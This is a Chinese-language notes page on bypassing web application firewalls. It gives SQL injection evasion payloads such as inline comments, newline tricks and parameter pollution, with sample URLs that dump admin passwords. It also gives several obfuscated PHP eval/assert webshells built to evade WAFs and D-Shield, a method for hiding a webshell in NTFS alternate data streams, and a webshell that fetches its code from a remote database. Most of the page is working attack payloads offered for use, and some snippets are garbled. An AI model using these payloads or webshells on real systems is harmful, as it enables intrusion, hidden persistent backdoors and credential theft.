WAF检测机制
WAF检测机制核心就是正则匹配

常见绕WAF手法
1.大小写绕过 (很老的WAF才有用)
2.替换绕过(很老的WAF才有用)【和上传文件那个pphphp一样】
3.特殊字符绕过 (%0a换行)
数据库注释
/**/可以尝试替换空格 sleep() => sleep/**/()
/*!*/内联注释 //可以运行
union select => union /*!10044select*/
10044是版本号 50001等等也是 可以尝试加入到内联注释里尝试是否绕过
-- qwe /*%0a*/
union*/
http://192.168.32.128/index.php?id=1 union /*!10044select*/1,2,3-- qwe/*%0afrom admin%23*/
%0a 换行 -- qwe 注释(只注释本行) # 也是注释
http://192.168.32.128/index.php?id=1 union #/*%0a select 1,password,3 from admin limit 1,1#*/
也可以尝试在函数加上"绕过
"sleep"() updatexml等
4.编码绕过 (比如会多次解码的东西)
5.等价替换 (利用其它函数替代)
union #%0aselect 拦截\]\[union all #%0aselect 不拦截
6.容器特性(例如Apace的Hpp,或者是IIS的%分割)
iis 传参里面
s%e%l%e%c%t =>select
Apache Hpp
http://192.168.32.128/index.php?id=1/\*\&id=2 union select 1,password,3 from admin limit 1.1#*/
只会接受第二个传参
7.白名单(管理员权限或者是127.0.0.1本地访问不拦截)
修改请求头
8.缓冲区(数据太多了,超出了WAF检测的范围)

webshell绕过
<?php eval($_REQUEST['a'])?>
这个就是a的一句话木马 这个语句肯定是会被拦截的,
为什么拦截
关于拦截最主要的还是测试,看看Waf怎么拦截
最直接的检测应该是正则匹配\] 只写\ 没有拦截,加了$_REQUEST\['a'\]就拦截 测试拦截$_REQUEST\['a'\]的哪个部分。 测试发现拦截的是 \[
end ()函数可以绕过
<?php eval(end($_REQUEST));?>
这个语句就没有出现$_REQUEST [ ]所以成功过狗,我们用end来替代了 []
end 函数的意义:输出数组中的当前元素和最后一个元素的值,然后因为我的传参就一个
用这个连菜刀 没有密码
通过常量定义:
<?php define("a","$_REQUEST[a]");eval(a);
<?php $a='ass';
$b='ert';
funcName=a.$b; //assert
$x='funcName';
x($_REQUEST\[1\]); //$funcName = assert($_REQUEST\[1\]) 通过函数定义强行分割: \ //强行分割$_POST\['a'\] 通过类定义,然后传参强行分割 \name"); } } $user = new User; $user-\>name = ''.$_REQUEST\[1\]; ?\> 多方式传参免杀: \ $value){ if($key=='assert'){ $key($_REQUEST\['1'\];) } } ?\> 需要设置cookie为assert \
if($_SERVER['HTTP USER_AGENT']=="1) )(
:eval(end($ REQUEST)):}?> 通过加 if 绕过d盾 用burp改请求头为1

拿到shell之后藏shell:
ntfs文件流
在菜刀命令行里执行
echo "<?php eval($_REQUEST[a])?>" >> /:123.txt
执行之后虽然页面上没有文件产生 但实际文件已经产生
然后将上传文本改成
<?php include('/:123.txt')?>
对方就看不见木马文件 dir也看不到 (只能在Windows里用)
绕过市面上所有WAF
<?php eval(mysqli_fetch_assoc(mysqli_query(mysqli_
connect('127.0.0.1','root','root','
maoshe'),'select * from info'))['info']);
mysqli_fetch_assoc 结果中取一行数据
通过连接数据库 网址换成你的主机 打开maoshe数据库 取info表里的一个数据 实际攻击可以换成你的库名 表名 需要提前把你表明里的数据写成 eval($_REQUEST[a]